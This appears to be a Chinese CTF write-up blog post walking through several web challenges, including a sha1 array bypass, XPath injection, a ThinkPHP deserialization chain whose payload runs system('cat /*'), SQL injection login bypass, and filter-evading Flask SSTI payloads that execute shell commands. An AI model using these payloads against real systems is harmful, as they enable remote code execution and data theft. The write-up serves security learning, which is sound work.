[极客大挑战 2020]Roamphp1-Welcome
知识点:弱比较
进门一个405状态码,网上搜一下或者抓包发现是Method Not Allowed,尝试抓包使用POST请求方式提交,拿到源码
|
发现需要提交roam1和roam2并且不能相等,但sha1值要相等.这里使用数组绕过,提交roam1[]=1&roam2[]=2绕过,
提交后拿到phpinfo,仔细寻找发现auto_prepend_file = /var/www/html/f1444aagggg.php,尝试直接抓包访问,在header中拿到flag
[NPUCTF2020]ezlogin
知识点:xpath注入

👀万能页面!哈哈!。
0x02、XPATH注入原理:
XPath 注入利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码,以获得高权限信息的访问权。
XPath注入类似于SQL注入,当网站使用未经正确处理的用户输入查询 XML 数据时,可能发生 XPATH 注入,由于Xpath中数据不像SQL中有权限的概念,用户可通过提交恶意XPATH代码获取到完整xml文档数据
简单来讲就是 xpath来查询xml文件!
payload
' or count(/)=1 or ''=' ###根节点数量为1 就是只有一个 |
<root> |
文件包含过滤了
php |
exp
#!/usr/bin/env python |
学长出的题也太猛了!👀👀👀
我说为啥页面折磨熟悉呢!🤗🤗🤗🤗
文章:
https://xz.aliyun.com/t/7791
https://www.cnblogs.com/karsa/p/13439673.html
[安洵杯 2019]iamthinking
知识点: tp
|
就是请求的时候参数值不能是O开头的!parse_url有绕过!
https://blog.csdn.net/q1352483315/article/details/89672426
但是这怎么构造链呢!头大!😫😫😫😫😪😥😭🤡
工具能直接梭哈!我丢!牛皮!
https://github.com/ambionics/phpggc
https://github.com/wh1t3p1g/phpggc
绕过:parse_url
///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3BN%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3BN%3Bs%3A18%3A%22%00think%5CModel%00force%22%3BN%3Bs%3A13%3A%22%00%2A%00connection%22%3BN%3Bs%3A9%3A%22%00%2A%00suffix%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00relation%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A10%3A%22%00%2A%00visible%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A197%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27cat+%2F%2A%27%29%3B%22%3B%7Ds%3A8%3A%22function%22%3Bs%3A38%3A%22function+%28%29+use+%28%24code%29+%7Beval%28%24code%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3BN%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000005ec053c600000000001454be%22%3B%7D%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A7%3A%22%00%2A%00type%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3BN%3B%7Ds%3A21%3A%22%00think%5CModel%00relation%22%3BN%3Bs%3A10%3A%22%00%2A%00visible%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3BN%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22wh1t3p1g%22%3Ba%3A0%3A%7B%7D%7Ds%3A7%3A%22%00%2A%00type%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D |

不知道为什么本地测试的时候!__PHP_Incomplete_Class 类没有反序列化器
这个有点难搞!🤡 不玩了!下一道!
文章:
https://www.freebuf.com/column/221939.html
parse_url小结https://www.cnblogs.com/tr1ple/p/11137159.html
https://www.cnblogs.com/20175211lyz/p/12203047.html
[RootersCTF2019]babyWeb
知识点:sql注入 万能密码
mysqli_result::$num_rows – mysqli_num_rows –获取结果中的行数

限制了只能是一行!
payload
1 || 1=1 # |
为什么这个没结果呢!
因为它限制了只能读取一行! 我们读了好多行!🥗🐱🚀🐱👓
限制一下就好了!!!
1 || 1=1 LIMIT 1,1 # |
[pasecactf_2019]flask_ssti
知识点: ssti


过滤了! |
以前的payload大不了异常!我丢!换一个!
小细节 双引号 可以识别 16进制和8进制!单引号好像不行!
以前的payload可以直接打!
{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("ls")["\162\145\141\144"]())%} |
http://127.0.0.1:5000/?id={%print(()['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[95]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\137\137\151\155\160\157\162\164\137\137']('o''s')['\160\157\160\145\156']('dir')['\162\145\141\144']())%} |
单引号也行!哈哈哈! 还是要自己测试一下!🐱👓🐱👓🐱👓
就是必须在引号里用 进制表达!记住了!
{{"".__class__}} |
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "/proc/self/fd/3")}} |
{{()["\x5F\x5F\x63\x6c\x61\x73\x73\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x66\x64\x2f\x33")}} |
文章:
https://blog.csdn.net/qq_40800734/article/details/107011638
https://www.anquanke.com/post/id/242237#h3-12
https://xz.aliyun.com/t/9026
https://guokeya.github.io/post/zIiwsY95N/
https://xz.aliyun.com/t/9008
测试 环境
#!/usr/bin/env python |
